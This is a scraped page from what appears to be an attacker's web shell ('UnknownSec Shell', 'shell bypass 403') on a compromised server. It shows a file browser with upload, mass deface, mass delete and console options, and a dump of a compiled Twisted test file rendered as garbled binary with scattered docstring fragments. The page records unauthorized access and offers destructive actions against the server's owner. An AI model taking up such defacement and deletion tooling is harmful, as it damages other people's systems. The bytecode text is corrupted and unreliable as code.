shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
twisted
/
application
/
twist
/
test
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
test_twist.cpython-312.pyc
� Ϫ�f� � �` � d Z ddlmZ ddlmZmZmZ ddlZddl m Z ddlmZ ddl mZmZ ddlmZ d d lmZ d dlmZ d dlmZ d d lmZmZ d dlmZ ddlmZ ddlmZ G d� dej@ jB jD � Z# G d� dej@ jB jD � Z$y)z0 Tests for L{twisted.application.twist._twist}. � )�stdout)�Any�Dict�ListN)�IReactorCore)� MemoryReactor)�LogLevel�jsonFileLogObserver)�SignalCapturingMemoryReactor� )� ExitStatus)�Runner)� DummyExit)�IService�MultiService)�_twist� )�TwistOptions)�Twistc �` � e Zd ZdZd d�Zd d�Zd d�Zd d�Zd d�Zd d�Z d d �Z d d �Zd d�Zd d�Z y)� TwistTestsz Tests for L{Twist}. Nc �$ � | j � y �N)�patchInstallReactor��selfs �K/usr/lib/python3/dist-packages/twisted/application/twist/test/test_twist.py�setUpzTwistTests.setUp s � �� � �"� c �d � t � | _ | j t d| j � y)zX Patch L{_twist.exit} so we can capture usage and prevent actual exits. �exitN)r r! �patchr r s r � patchExitzTwistTests.patchExit! s! � � �K�� �� � �6�6�4�9�9�-r c �r � � i � _ dt dt dt f� fd�}� j t d|� y)zo Patch C{_options.installReactor} so we can capture usage and prevent actual installs. �_�name�returnc �: �� t � }|�j |<